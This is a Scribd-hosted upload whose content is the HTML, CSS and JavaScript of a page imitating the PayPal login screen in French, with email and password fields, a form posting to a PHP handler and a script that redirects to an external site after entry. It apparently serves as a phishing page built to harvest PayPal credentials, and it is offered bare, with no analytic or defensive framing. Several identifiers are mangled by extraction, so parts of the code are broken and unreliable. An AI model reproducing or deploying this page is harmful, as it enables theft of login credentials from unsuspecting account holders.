0% ont trouvé ce document utile (0 vote)
3 vues4 pages

Connexion sécurisée à Paypal

Vbhj

Transféré par

icloudmoiclever
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats TXT, PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
3 vues4 pages

Connexion sécurisée à Paypal

Vbhj

Transféré par

icloudmoiclever
Copyright
© All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats TXT, PDF, TXT ou lisez en ligne sur Scribd

<!

DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Paypal</title>

<style>
* {
box-sizing: border-box;
}
body {
margin: 0;
font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
background-color: #ffffff; /* ✅ Fond blanc */
color: #222;
}
.login-container {
max-width: 400px;
background: white;
margin: 80px auto;
padding: 30px 40px;
border-radius: 8px;
box-shadow: 0 4px 12px rgb(0 0 0 / 0.15); /* ✅ Bordure visible */
}
.logo {
display: block;
margin: 0 auto 25px;
width: 120px;
font-weight: bold;
font-size: 30px;
color: #101111;
font-family: Arial, sans-serif;
text-align: center;
letter-spacing: 3px;
user-select: none;
}
h1 {
font-weight: 600;
margin-bottom: 20px;
font-size: 28px;
text-align: center;
color: #003087;
}
label {
font-size: 14px;
margin-bottom: 6px;
display: block;
color: #333;
}
input[type="email"],
input[type="password"] {
width: 100%;
padding: 12px 10px;
font-size: 16px;
margin-bottom: 18px;
border: 1px solid #ddd;
border-radius: 4px;
transition: border-color 0.3s;
}
input[type="email"]:focus,
input[type="password"]:focus {
border-color: #0070ba;
outline: none;
}
.forgot-links {
display: flex;
justify-content: space-between;
font-size: 13px;
margin-bottom: 30px;
}
.forgot-links a {
color: #0070ba;
text-decoration: none;
}
.forgot-links a:hover {
text-decoration: underline;
}
[Link]-btn {
width: 100%;
padding: 14px;
background-color: #0070ba;
color: white;
font-size: 17px;
border: none;
border-radius: 4px;
cursor: pointer;
font-weight: bold;
}
[Link]-btn:hover {
background-color: #005ea6;
}
.create-account {
margin-top: 30px;
text-align: center;
font-size: 14px;
}
.create-account a {
color: #0070ba;
text-decoration: none;
font-weight: 600;
}
.create-account a:hover {
text-decoration: underline;
}
.error-msg {
color: red;
font-size: 14px;
margin-bottom: 15px;
}
.language-switch {
text-align: center;
margin-top: 15px;
font-size: 14px;
}
.language-switch span {
cursor: pointer;
margin: 0 8px;
color: #0070ba;
font-weight: 600;
}
.language-switch span:hover {
text-decoration: underline;
}
</style>
</head>
<body>

<div class="login-container">
<div class="logo">Paypal</div>

<form method="POST" action="process_login.php" id="loginForm" novalidate>


<div class="error-msg" id="errorMsg"></div>

<label for="email" id="labelEmail">Adresse e-mail</label>


<input type="email" id="email" name="email" placeholder="email@[Link]"
required autocomplete="username" />

<label for="password" id="labelPassword">Mot de passe</label>


<input type="password" id="password" name="password" placeholder="********"
required autocomplete="current-password" />

<div class="forgot-links">
<a href="mot_de_passe_oublieeee.html" id="forgotEmail">Adresse e-mail oubliée
?</a>
</div>

<button type="submit" class="login-btn" id="loginBtn">Se connecter</button>


</form>

<div class="create-account">
<span id="newOnPaypal">Nouveau sur Paypal ?</span>
<a href="[Link]" id="createAccountLink">Créer un compte</a>
</div>

<div class="language-switch">
<span onclick="setLanguage('fr')">Français</span> |
<span onclick="setLanguage('en')">English</span>
</div>
</div>

<script>
const form = [Link]('loginForm');
const errorMsg = [Link]('errorMsg');

[Link]('submit', (e) => {


[Link](); // ✅ Empêche l'envoi du formulaire

[Link] = '';
const email = [Link]();
const password = [Link]();
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

if (![Link](email)) {
[Link] = 'Veuillez entrer une adresse e-mail valide.';
[Link]();
return false;
}
if ([Link] === 0) {
[Link] = 'Veuillez entrer votre mot de passe.';
[Link]();
return false;
}

// ✅ Redirige vers le site externe


[Link] = "[Link]
});

const translations = {
fr: {
title: "Connexion à votre compte",
labelEmail: "Adresse e-mail",
labelPassword: "Mot de passe",
forgotEmail: "Adresse e-mail oubliée ?",
forgotPassword: "Mot de passe oublié ?",
loginBtn: "Se connecter",
newOnPaypal: "Nouveau sur Paypal ?",
createAccountLink: "Créer un compte"
},
en: {
title: "Log in to your account",
labelEmail: "Email address",
labelPassword: "Password",
forgotEmail: "Forgot email?",
forgotPassword: "Forgot password?",
loginBtn: "Log in",
newOnPaypal: "New to Paypal?",
createAccountLink: "Create an account"
}
};

function setLanguage(lang) {
for (const id in translations[lang]) {
const el = [Link](id);
if (el) [Link] = translations[lang][id];
}
}
</script>

</body>
</html>

Vous aimerez peut-être aussi